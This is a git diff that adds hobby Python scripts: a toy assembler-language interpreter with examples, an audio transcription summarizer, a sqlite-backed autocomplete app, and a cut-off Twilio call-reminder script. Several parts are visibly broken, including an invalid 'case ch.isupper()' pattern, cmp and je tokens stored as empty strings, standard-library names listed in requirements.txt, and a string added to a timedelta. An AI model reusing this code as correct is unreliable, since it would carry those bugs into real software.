ecx, 5 + +call _double +call _cube +call _inc + +mov eax, 4 +int 0x80 +mov eax, 1 +mov ebx, 0 +int 0x80 + + + +_double: +add ecx, ecx +ret + +_cube: +push eax +mov eax, ecx +add ecx, eax +add ecx, eax +pop eax +ret + +_inc: +add ecx, 1 +ret + +``` + +A subprogram label begins with a **_** and ends with a colon. See above. + + +If you call the subprogram you must avoid the colon. + +``` call _subprogramName +``` + +**Important:** Each subprogram must end with the **ret** command. diff --git a/Assembler/README.md b/Assembler/README.md new file mode 100644 index 00000000000..bb3f26d0f8f --- /dev/null +++ b/Assembler/README.md @@ -0,0 +1,35 @@ +# hy your name +# Python-Assembler +# WE need A FREE T-SHIRT +This program is a simple assembler-like (intel-syntax) interpreter language. The program is written in python 3. +To start the program you will need to type + +``` python assembler.py code.txt ``` + + +After you hit 'enter' the program will interpret the source-code in 'code.txt'. +You can use many textfiles as input. These will be interpreted one by one. + +You can find some examples in the directory 'examples'. + +For instance- + +``` +$msg db "hello world" + +mov ecx, $msg +mov eax, 4 +int 0x80 +mov eax, 1 +mov ebx, 0 +int 0x80 +``` + +Will print onto console + +``` +hello world +END PROGRAM +``` + +**Refer to GUIDE.txt to read a guide** diff --git a/Assembler/assembler.py b/Assembler/assembler.py new file mode 100644 index 00000000000..dba6c6e842e --- /dev/null +++ b/Assembler/assembler.py @@ -0,0 +1,1333 @@ +from __future__ import print_function + +import sys + +lines = [] # contains the lines of the file. +tokens = [] # contains all tokens of the source code. + +# register eax, ebx,..., ecx +eax = 1 +ebx = 0 +ecx = 0 +edx = 0 + +# status register +zeroFlag = False + +# stack data structure +# push --> append +# pop --> pop +stack = [] + +# jump link table +jumps = {} + +# variable table +variables = {} + +# return stack for subprograms +returnStack = [] + + +# simple exception class +class InvalidSyntax(Exception): + def __init__(self): + pass + + +# class for represent a token +class Token: + def __init__(self, token, t): + self.token = token + self.t = t + + +# def initRegister(): +# global register +# for i in range(9): +# register.append(0) + + +def loadFile(fileName): + """ + loadFile: This function loads the file and reads its lines. + """ + global lines + fo = open(fileName) + for line in fo: + lines.append(line) + fo.close() + + +def scanner(string): + """ + scanner: This function builds the tokens by the content of the file. + The tokens will be saved in list 'tokens' + """ + global tokens + token = "" + state = 0 # init state + + for ch in string: + match state: + case 0: + match ch: + case "m": # catch mov-command + state = 1 + token += "m" + + case "e": # catch register + state = 4 + token += "e" + + case "1": # catch a number + if ch <= "9" or ch == "-": + state = 6 + token += ch + + case "0": # catch a number or hex-code + state = 17 + token += ch + + case "a": # catch add-command + state = 7 + token += ch + + case "s": # catch sub command + state = 10 + token += ch + + case "i": # capture int command + state = 14 + token += ch + + case "p": # capture push or pop command + state = 19 + token += ch + + case "l": # capture label + state = 25 + token += ch + + case "j": # capture jmp command + state = 26 + token += ch + + case "c": # catch cmp-command + state = 29 + token += ch + + case ";": # capture comment + state = 33 + + case '"': # catch a string + state = 34 + # without " + + case ch.isupper(): # capture identifier + state = 35 + token += ch + + case "d": # capture db keyword + state = 36 + token += ch + + case "$": # catch variable with prefix $ + state = 38 + # not catching $ + + case "_": # catch label for subprogram + state = 40 + # not catches the character _ + + case "r": # catch ret-command + state = 44 + token += ch + + case _: # other characters like space-characters etc + state = 0 + token = "" + + case 1: # state 1 + match ch: + case "o": + state = 2 + token += ch + + case "u": + state = 47 + token += ch + + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 2: # state 2 + match ch: + case "v": + state = 3 + token += "v" + + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 3: # state 3 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 4: # state 4 + if ch >= "a" and ch <= "d": + state = 5 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 5: # state 5 + match ch: + case "x": + state = 13 + token += ch + + case _: + state = 0 + token = "" + raise InvalidSyntax() + + case 6: # state 6 + if ch.isdigit(): + state = 6 + token += ch + + elif ch.isspace(): + state = 0 + tokens.append(Token(token, "value")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 7: # state 7 + match ch: + case "d": + state = 8 + token += ch + + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 8: # state 8 + match ch: + case "d": + state = 9 + token += ch + + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 9: # state 9 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 10: # state 10 + match ch: + case "u": + state = 11 + token += ch + + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 11: # state 11 + match ch: + case "b": + state = 12 + token += ch + + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 12: # state 12 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 13: # state 13 + if ch == "," or ch.isspace(): + state = 0 + tokens.append(Token(token, "register")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 14: # state 14 + if ch == "n": + state = 15 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 15: # state 15 + if ch == "t": + state = 16 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 16: # state 16 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 17: # state 17 + if ch == "x": + state = 18 + token += ch + + elif ch.isspace(): + state = 0 + tokens.append(Token(token, "value")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 18: # state 18 + if ch.isdigit() or (ch >= "a" and ch <= "f"): + state = 18 + token += ch + + elif ch.isspace(): + state = 0 + tokens.append(Token(token, "value")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 19: # state 19 + if ch == "u": + state = 20 + token += ch + + elif ch == "o": + state = 23 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 20: # state 20 + if ch == "s": + state = 21 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 21: # state 21 + if ch == "h": + state = 22 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 22: # state 22 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 23: # state 23 + if ch == "p": + state = 24 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 24: # state 24 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 25: # state 25 + if ch.isdigit(): + state = 25 + token += ch + + elif ch == ":" or ch.isspace(): + state = 0 + tokens.append(Token(token, "label")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 26: # state 26 + if ch == "m": + state = 27 + token += ch + + elif ch == "e": # catch je command + state = 32 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 27: # state 27 + if ch == "p": + state = 28 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 28: # state 28 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 29: # state 29 + match ch: + case "m": + state = 30 + token += ch + + case "a": # catch call-command + state = 41 + token += ch + + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 30: # state 30 + if ch == "p": + state = 31 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 31: # state 31 + token = "" + + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + + else: # error case + state = 0 + raise InvalidSyntax() + + case 32: # state 32 + token = "" + + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + + else: # error case + state = 0 + raise InvalidSyntax() + + case 33: # state 33 + if ( + ch.isdigit() + or ch.isalpha() + or (ch.isspace() and ch != "\n") + or ch == '"' + ): + state = 33 + + elif ch == "\n": + state = 0 + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 34: # state 34 + if ch.isdigit() or ch.isalpha() or ch.isspace(): + state = 34 + token += ch + + elif ch == '"': + state = 0 + tokens.append(Token(token, "string")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 35: # state 35 + if ch.isdigit() or ch.isupper(): + state = 35 + token += ch + + elif ch == " " or ch == "\n": + state = 0 + tokens.append(Token(token, "identifier")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 36: # state 36 + if ch == "b": + state = 37 + token += ch + + elif ch == "i": + state = 49 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 37: # state 37 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 38: # state 38 + if ch.isalpha(): + state = 39 + token += ch + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 39: # state 39 + if ch.isalpha() or ch.isdigit(): + state = 39 + token += ch + + elif ch.isspace(): + state = 0 + tokens.append(Token(token, "identifier")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 40: # state 40 + if ( + (ch >= "a" and ch <= "z") + or (ch >= "A" and ch <= "Z") + or (ch >= "0" and ch <= "9") + ): + state = 40 + token += ch + + elif ch == ":" or ch.isspace(): + state = 0 + tokens.append(Token(token, "subprogram")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 41: # state 41 + match ch: + case "l": + state = 42 + token += ch + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 42: # state 42 + match ch: + case "l": + state = 43 + token += ch + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 43: # state 43 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 44: # state 44 + match ch: + case "e": + state = 45 + token += ch + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 45: # state 45 + match ch: + case "t": + state = 46 + token += ch + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 46: # state 46 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 47: # state 47 + match ch: + case "l": + state = 48 + token += ch + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 48: # state 48 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 49: # state 49 + match ch: + case "v": + state = 50 + token += ch + case _: # error case + state = 0 + token = "" + raise InvalidSyntax() + + case 50: # state 50 + if ch.isspace(): + state = 0 + tokens.append(Token(token, "command")) + token = "" + + else: # error case + state = 0 + token = "" + raise InvalidSyntax() + + +def scan(): + """ + scan: applys function scanner() to each line of the source code. + """ + global lines + assert len(lines) > 0, "no lines" + for line in lines: + try: + scanner(line) + except InvalidSyntax: + print("line=", line) + + +def parser(): + """ + parser: parses the tokens of the list 'tokens' + """ + + global tokens + global eax, ebx, ecx, edx + + assert len(tokens) > 0, "no tokens" + + pointer = 0 # pointer for tokens + token = Token("", "") + tmpToken = Token("", "") + + while pointer < len(tokens): + token = tokens[pointer] + + if token.token == "mov": # mov commando + # it must follow a register + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found argument!") + return + + # TODO use token.t for this stuff + if token.t == "register": + tmpToken = token + + # it must follow a value / string / register / variable + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found argument!") + return + + # converts the token into float, if token contains only digits. + # TODO response of float + if token.t == "identifier": # for variables + # check of exists of variable + if token.token in variables: + token.token = variables[token.token] + else: + print(f"Error: Undefined variable {token.token}") + return + + elif token.t == "string": + token.token = str(token.token) + + elif isinstance(token.token, float): + pass + elif token.token.isdigit(): + token.token = float(token.token) + elif token.token[0] == "-" and token.token[1:].isdigit(): + token.token = float(token.token[1:]) + token.token *= -1 + elif token.t == "register": # loads out of register + match token.token: + case "eax": + token.token = eax + case "ebx": + token.token = ebx + case "ecx": + token.token = ecx + case "edx": + token.token = edx + + match tmpToken.token: + case "eax": + eax = token.token + case "ebx": + ebx = token.token + case "ecx": + ecx = token.token + case "edx": + edx = token.token + + else: + print("Error: No found register!") + return + + elif token.token == "add": # add commando + pointer += 1 + token = tokens[pointer] + + if token.t == "register": + tmpToken = token + + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found number!") + return + + # converts the token into float, if token contains only digits. + if token.t == "register": + # for the case that token is register + match token.token: + case "eax": + token.token = eax + case "ebx": + token.token = ebx + case "ecx": + token.token = ecx + case "edx": + token.token = edx + + elif token.token.isdigit(): + token.token = float(token.token) + elif token.token[0] == "-" and token.token[1:].isdigit(): + token.token = float(token.token[1:]) + token.token *= -1 + else: + print("Error: ", token, " is not a number!") + return + + match tmpToken.token: + case "eax": + eax += token.token + + # update zero flag + zeroFlag = False + if eax == 0: + zeroFlag = True + + case "ebx": + ebx += token.token + + # update zero flag + zeroFlag = False + if ebx == 0: + zeroFlag = True + + case "ecx": + ecx += token.token + + # update zero flag + zeroFlag = False + if ecx == 0: + zeroFlag = True + + case "edx": + edx += token.token + + # update zero flag + zeroFlag = False + if edx == 0: + zeroFlag = True + + else: + print("Error: Not found register!") + return + + elif token.token == "sub": # sub commando + pointer += 1 + token = tokens[pointer] + + if token.t == "register": + tmpToken = token + + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found number!") + return + + # converts the token into float, if token contains only digits. + if token.t == "register": + # for the case that token is register + if token.token == "eax": + token.token = eax + elif token.token == "ebx": + token.token = ebx + elif token.token == "ecx": + token.token = ecx + elif token.token == "edx": + token.token = edx + + elif isinstance(token.token, float): + pass + elif token.token.isdigit(): + token.token = float(token.token) + elif token.token[0] == "-" and token.token[1:].isdigit(): + token.token = float(token.token[1:]) + token.token *= -1 + else: + print("Error: ", token.token, " is not a number!") + return + + if tmpToken.token == "eax": + eax -= token.token + + # updated zero flag + if eax == 0: + zeroFlag = True + else: + zeroFlag = False + elif tmpToken.token == "ebx": + ebx -= token.token + + # update zero flag + if ebx == 0: + zeroFlag = True + else: + zeroFlag = False + elif tmpToken.token == "ecx": + ecx -= token.token + + # update zero flag + if ecx == 0: + zeroFlag = True + else: + zeroFlag = False + elif tmpToken.token == "edx": + edx -= token.token + + # update zero flag + if edx == 0: + zeroFlag = True + else: + zeroFlag = False + + else: + print("Error: No found register!") + return + + elif token.token == "int": # int commando + tmpToken = token + + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found argument!") + return + + if token.token == "0x80": # system interrupt 0x80 + if eax == 1: # exit program + if ebx == 0: + print("END PROGRAM") + return + else: + print("END PROGRAM WITH ERRORS") + return + + elif eax == 3: + ecx = float(input(">> ")) + + elif eax == 4: # output informations + print(ecx) + + elif token.token == "push": # push commando + tmpToken = token + + # it must follow a register + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found register!") + return + + # pushing register on the stack + stack.append(token.token) + + elif token.token == "pop": # pop commando + tmpToken = token + + # it must follow a register + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found register!") + return + + # pop register from stack + match token.token: + case "eax": + if len(stack) == 0: + print("Error: Stack Underflow") + return + eax = stack.pop() + case "ebx": + ebx = stack.pop() + case "ecx": + ecx = stack.pop() + case "edx": + edx = stack.pop() + + elif token.t == "label": # capture label + jumps[token.token] = pointer + + elif token.token == "jmp": # capture jmp command + # it must follow a label + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found label!") + return + + if token.t == "label": + pointer = jumps[token.token] + + else: + print("Error: expected a label!") + + elif token.token == "cmp": + # TODO + + # it must follow a register + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] + else: + print("Error: Not found argument!") + return + + if token.t == "register": + # it must follow a register + if pointer + 1 < len(tokens): + pointer += 1 + tmpToken = tokens[pointer] # next register + else: + print("Error: Not found register!") + return + + # actual comparing + zeroFlag = setZeroFlag(token.token, tmpToken.token) + + elif token.token == "je": + # it must follow a label + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] # next register + else: + print("Error: Not found argument") + return + + # check of label + if token.t == "label": + # actual jump + if zeroFlag: + pointer = jumps[token.token] + + else: + print("Error: Not found label") + return + + elif token.t == "identifier": + # check whether identifier is in variables-table + if token.token not in variables: + # it must follow a command + if pointer + 1 < len(tokens): + pointer += 1 + tmpToken = tokens[pointer] # next register + else: + print("Error: Not found argument") + return + + if tmpToken.t == "command" and tmpToken.token == "db": + # it must follow a value (string) + if pointer + 1 < len(tokens): + pointer += 1 + tmpToken = tokens[pointer] # next register + else: + print("Error: Not found argument") + return + + if tmpToken.t == "value" or tmpToken.t == "string": + if tmpToken.t == "value": + variables[token.token] = float(tmpToken.token) + elif tmpToken.t == "string": + variables[token.token] = tmpToken.token + + else: + print("Error: Not found db-keyword") + return + + elif token.token == "call": # catch the call-command + # it must follow a subprogram label + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] # next register + else: + print("Error: Not found subprogram label") + return + + if token.t == "subprogram": + if token.token in jumps: + # save the current pointer + returnStack.append(pointer) # eventuell pointer + 1 + # jump to the subprogram + pointer = jumps[token.token] + + else: # error case + print("Error: Unknow subprogram!") + return + + else: # error case + print("Error: Not found subprogram") + return + + elif token.token == "ret": # catch the ret-command + if len(returnStack) >= 1: + pointer = returnStack.pop() + + else: # error case + print("Error: No return adress on stack") + return + + elif token.t == "subprogram": + pass + + elif token.token == "mul": # catch mul-command + # it must follow a register + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] # next register + else: + print("Error: Not found argument") + return + + if token.t == "register": + if token.token == "eax": + eax *= eax + + elif token.token == "ebx": + eax *= ebx + + elif token.token == "ecx": + eax *= ecx + + elif token.token == "edx": + eax *= edx + + else: + print("Error: Not found register") + return + + elif token.token == "div": + # it must follow a register + if pointer + 1 < len(tokens): + pointer += 1 + token = tokens[pointer] # next register + else: + print("Error: Not found argument") + return + + if token.t == "register": + match token.token: + case "eax": + eax /= eax + + case "ebx": + if ebx == 0: + print("Error: Division by Zero") + return + eax /= ebx + + case "ecx": + eax /= ecx + + case "edx": + eax /= edx + + else: + print("Error: Not found register") + return + + # increment pointer for fetching next token. + pointer += 1 + + +def setZeroFlag(token, tmpToken): + """return bool for zero flag based on the regToken""" + global eax, ebx, ecx, edx + + # Register in string + registers = { + "eax": eax, + "ebx": ebx, + "ecx": ecx, + "edx": edx, + } + + zeroFlag = False + + match tmpToken: + case "eax": + if registers.get(token) == registers.get(tmpToken): + zeroFlag = True + + case "ebx": + if registers.get(token) == registers.get(tmpToken): + zeroFlag = True + + case "ecx": + if registers.get(token) == registers.get(tmpToken): + zeroFlag = True + + case "edx": + if registers.get(token) == registers.get(tmpToken): + zeroFlag = True + + case _: + print("Error: Not found register!") + return + + return zeroFlag + + +def registerLabels(): + """ + This function search for labels / subprogram-labels and registers this in the 'jumps' list. + """ + for i in range(len(tokens)): + if tokens[i].t == "label": + jumps[tokens[i].token] = i + elif tokens[i].t == "subprogram": + jumps[tokens[i].token] = i + + +def resetInterpreter(): + """ + resets the interpreter mind. + """ + global eax, ebx, ecx, edx, zeroFlag, stack + global variables, jumps, lines, tokens, returnStack + eax = 0 + ebx = 0 + ecx = 0 + edx = 0 + zeroFlag = False + stack = [] + jumps = {} + variables = {} + lines = [] + tokens = [] + returnStack = [] + + +# DEBUG FUNCTION +# def printTokens(): +# for token in tokens: +# print(token.token, " --> ", token.t) + + +# main program +def main(): + """ + reads textfiles from the command-line and interprets them. + """ + + # [1:] because the first argument is the program itself. + for arg in sys.argv[1:]: + resetInterpreter() # resets interpreter mind + + try: + loadFile(arg) + scan() + registerLabels() + parser() + + except Exception as e: + print(f"Error: {e}") + + +if __name__ == "__main__": + main() diff --git a/Assembler/examples/code.txt b/Assembler/examples/code.txt new file mode 100644 index 00000000000..4c82e4c5ad8 --- /dev/null +++ b/Assembler/examples/code.txt @@ -0,0 +1,15 @@ +; begin program +; variable section +$var1 db 56 +$var2 db 44 +mov ecx, $var1 +push ecx +mov eax, 3 +int 0x80 +pop eax +add ecx, ebx +add ecx, eax +mov eax, 4 +int 0x80 + + diff --git a/Assembler/examples/code2.txt b/Assembler/examples/code2.txt new file mode 100644 index 00000000000..81ed5ec425f --- /dev/null +++ b/Assembler/examples/code2.txt @@ -0,0 +1,8 @@ +$msg db "hello world" + +mov ecx, $msg +mov eax, 4 +int 0x80 +mov eax, 1 +mov ebx, 0 +int 0x80 diff --git a/Assembler/examples/code3.txt b/Assembler/examples/code3.txt new file mode 100644 index 00000000000..b4c60cca8ff --- /dev/null +++ b/Assembler/examples/code3.txt @@ -0,0 +1,28 @@ + +mov ecx, 5 +call _double +call _cube +call _inc +mov eax, 4 +int 0x80 +mov eax, 1 +mov ebx, 0 +int 0x80 + + + +_double: +add ecx, ecx +ret + +_cube: +push eax +mov eax, ecx +add ecx, eax +add ecx, eax +pop eax +ret + +_inc: +add ecx, 1 +ret diff --git a/Assembler/examples/code4.txt b/Assembler/examples/code4.txt new file mode 100644 index 00000000000..1e5d8584578 --- /dev/null +++ b/Assembler/examples/code4.txt @@ -0,0 +1,14 @@ +mov eax, 8 +mov ebx, 2 +mul ebx +mov ecx, eax +mov eax, 4 +int 0x80 + +mov eax, 8 +mov ebx, 2 +div ebx +mov ecx, eax +mov eax, 4 +int 0x80 + diff --git a/Assembler/examples/klmn b/Assembler/examples/klmn new file mode 100644 index 00000000000..9c16fab3022 --- /dev/null +++ b/Assembler/examples/klmn @@ -0,0 +1,2 @@ +Assembler/examples/code2.txt +hello world diff --git a/Assembler/examples/test.txt b/Assembler/examples/test.txt new file mode 100644 index 00000000000..6a02962bace --- /dev/null +++ b/Assembler/examples/test.txt @@ -0,0 +1,10 @@ + +; variables +VAR1 db 56 +$var1 db 10 + +mov ecx, VAR1 +mov ebx, $var1 +sub ecx, ebx +mov eax, 4 +int 0x80 \ No newline at end of file diff --git a/Assembler/requirements.txt b/Assembler/requirements.txt new file mode 100644 index 00000000000..ee239c1bd87 --- /dev/null +++ b/Assembler/requirements.txt @@ -0,0 +1,2 @@ +print_function +sys diff --git a/Audio_Summarizer.py b/Audio_Summarizer.py new file mode 100644 index 00000000000..7388fcbd123 --- /dev/null +++ b/Audio_Summarizer.py @@ -0,0 +1,55 @@ +import whisper +import re +import openai +import os + + +def transcript_generator(): + # Load Whisper model + model = whisper.load_model("base") + + # Transcribe audio file + result = model.transcribe("audio.mp4") + + # Send the transcript to the summarizer + provide_summarizer(result) + + +def provide_summarizer(Text): + # Set up Groq OpenAI-compatible API credentials + openai.api_key = os.getenv( + "OPENAI_API_KEY", "your-api-key-here" + ) # Replace or set in environment + openai.api_base = "https://api.groq.com/openai/v1" + + # Extract text from the Whisper result + text_to_summarize = Text["text"] + + # Send the transcription to Groq for summarization + response = openai.ChatCompletion.create( + model="llama3-8b-8192", + messages=[ + { + "role": "system", + "content": "You are a helpful assistant who summarizes long text into bullet points.", + }, + { + "role": "user", + "content": f"Summarize the following:\n\n{text_to_summarize}", + }, + ], + ) + + # Split the response into sentences + summary = re.split(r"(?<=[.!?]) +", response["choices"][0]["message"]["content"]) + + # Save summary to file + with open("summary.txt", "w+", encoding="utf-8") as file: + for sentence in summary: + cleaned = sentence.strip() + if cleaned: + file.write("- " + cleaned + "\n") + + +if __name__ == "__main__": + transcript_generator() diff --git a/AutoComplete_App/backend.py b/AutoComplete_App/backend.py new file mode 100644 index 00000000000..a86e6797742 --- /dev/null +++ b/AutoComplete_App/backend.py @@ -0,0 +1,154 @@ +import sqlite3 +import json + + +class AutoComplete: + """ + It works by building a `WordMap` that stores words to word-follower-count + ---------------------------- + e.g. To train the following statement: + + It is not enough to just know how tools work and what they worth, + we have got to learn how to use them and to use them well. + And with all these new weapons in your arsenal, we would better + get those profits fired up + + we create the following: + { It: {is:1} + is: {not:1} + not: {enough:1} + enough: {to:1} + to: {just:1, learn:1, use:2} + just: {know:1} + . + . + profits: {fired:1} + fired: {up:1} + } + so the word completion for "to" will be "use". + For optimization, we use another store `WordPrediction` to save the + predictions for each word + """ + + def __init__(self): + """ + Returns - None + Input - None + ---------- + - Initialize database. we use sqlite3 + - Check if the tables exist, if not create them + - maintain a class level access to the database + connection object + """ + self.conn = sqlite3.connect("autocompleteDB.sqlite3", autocommit=True) + cur = self.conn.cursor() + res = cur.execute("SELECT name FROM sqlite_master WHERE name='WordMap'") + tables_exist = res.fetchone() + + if not tables_exist: + self.conn.execute("CREATE TABLE WordMap(name TEXT, value TEXT)") + self.conn.execute("CREATE TABLE WordPrediction (name TEXT, value TEXT)") + cur.execute( + "INSERT INTO WordMap VALUES (?, ?)", + ( + "wordsmap", + "{}", + ), + ) + cur.execute( + "INSERT INTO WordPrediction VALUES (?, ?)", + ( + "predictions", + "{}", + ), + ) + + def train(self, sentence): + """ + Returns - string + Input - str: a string of words called sentence + ---------- + Trains the sentence. It does this by creating a map of + current words to next words and their counts for each + time the next word appears after the current word + - takes in the sentence and splits it into a list of words + - retrieves the word map and predictions map + - creates the word map and predictions map together + - saves word map and predictions map to the database + """ + cur = self.conn.cursor() + words_list = sentence.split(" ") + + words_map = cur.execute( + "SELECT value FROM WordMap WHERE name='wordsmap'" + ).fetchone()[0] + words_map = json.loads(words_map) + + predictions = cur.execute( + "SELECT value FROM WordPrediction WHERE name='predictions'" + ).fetchone()[0] + predictions = json.loads(predictions) + + for idx in range(len(words_list) - 1): + curr_word, next_word = words_list[idx], words_list[idx + 1] + if curr_word not in words_map: + words_map[curr_word] = {} + if next_word not in words_map[curr_word]: + words_map[curr_word][next_word] = 1 + else: + words_map[curr_word][next_word] += 1 + + # checking the completion word against the next word + if curr_word not in predictions: + predictions[curr_word] = { + "completion_word": next_word, + "completion_count": 1, + } + else: + if ( + words_map[curr_word][next_word] + > predictions[curr_word]["completion_count"] + ): + predictions[curr_word]["completion_word"] = next_word + predictions[curr_word]["completion_count"] = words_map[curr_word][ + next_word + ] + + words_map = json.dumps(words_map) + predictions = json.dumps(predictions) + + cur.execute( + "UPDATE WordMap SET value = (?) WHERE name='wordsmap'", (words_map,) + ) + cur.execute( + "UPDATE WordPrediction SET value = (?) WHERE name='predictions'", + (predictions,), + ) + return "training complete" + + def predict(self, word): + """ + Returns - string + Input - string + ---------- + Returns the completion word of the input word + - takes in a word + - retrieves the predictions map + - returns the completion word of the input word + """ + cur = self.conn.cursor() + predictions = cur.execute( + "SELECT value FROM WordPrediction WHERE name='predictions'" + ).fetchone()[0] + predictions = json.loads(predictions) + completion_word = predictions[word.lower()]["completion_word"] + return completion_word + + +if __name__ == "__main__": + input_ = "It is not enough to just know how tools work and what they worth,\ + we have got to learn how to use them and to use them well. And with\ + all these new weapons in your arsenal, we would better get those profits fired up" + ac = AutoComplete() + ac.train(input_) + print(ac.predict("to")) diff --git a/AutoComplete_App/frontend.py b/AutoComplete_App/frontend.py new file mode 100644 index 00000000000..137cfaf1442 --- /dev/null +++ b/AutoComplete_App/frontend.py @@ -0,0 +1,38 @@ +from tkinter import * +import backend + + +def train(): + sentence = train_entry.get() + ac = backend.AutoComplete() + ac.train(sentence) + + +def predict_word(): + word = predict_word_entry.get() + ac = backend.AutoComplete() + print(ac.predict(word)) + + +if __name__ == "__main__": + root = Tk() + root.title("Input note") + root.geometry("300x300") + + train_label = Label(root, text="Train") + train_label.pack() + train_entry = Entry(root) + train_entry.pack() + + train_button = Button(root, text="train", command=train) + train_button.pack() + + predict_word_label = Label(root, text="Input term to predict") + predict_word_label.pack() + predict_word_entry = Entry(root) + predict_word_entry.pack() + + predict_button = Button(root, text="predict", command=predict_word) + predict_button.pack() + + root.mainloop() diff --git a/Automated Scheduled Call Reminders/caller.py b/Automated Scheduled Call Reminders/caller.py new file mode 100644 index 00000000000..f069da7df88 --- /dev/null +++ b/Automated Scheduled Call Reminders/caller.py @@ -0,0 +1,48 @@ +# The project automates calls for people from the firebase cloud database and the schedular keeps it running and checks for entries +# every 1 hour using aps scedular +# The project can be used to set 5 min before reminder calls to a set of people for doing a particular job +from firebase_admin import credentials, firestore, initialize_app +from datetime import datetime, timedelta +from time import gmtime, strftime +from twilio.rest import Client + +# twilio credentials +acc_sid = "" +auth_token = "" +client = Client(acc_sid, auth_token) + +# firebase credentials +# key.json is your certificate of firebase project +cred = credentials.Certificate("key.json") +default_app = initialize_app(cred) +db = firestore.client() +database_reference = db.collection("on_call") + +# Here the collection name is on_call which has documents with fields phone , from (%H:%M:%S time to call the person),date + + +# gets data from cloud database and calls 5 min prior the time (from time) alloted in the database +def search(): + calling_time = datetime.now() + one_hours_from_now = (calling_time + timedelta(hours=1)).strftime("%H:%M:%S") + current_date = str(strftime("%d-%m-%Y", gmtime())) + docs = db.collection("on_call").where("date", "==", current_date).stream() + list_of_docs = [] + for doc in docs: + c = doc.to_dict() + if (calling_time).strftime("%H:%M:%S") <= c["from"] <= one_hours_from_now: + list_of_docs.append(c) + print(list_of_docs) + + while list_of_docs: + timestamp = datetime.now().strftime("%H:%M") + five_minutes_prior = (timestamp + timedelta(minutes=5)).strftime("%H:%M") + for doc in list_of_docs: + if doc["from"][0:5] == five_minutes_prior: + phone_number = doc["phone"] + call = client.calls.create( + to=phone_number, + from_="add your 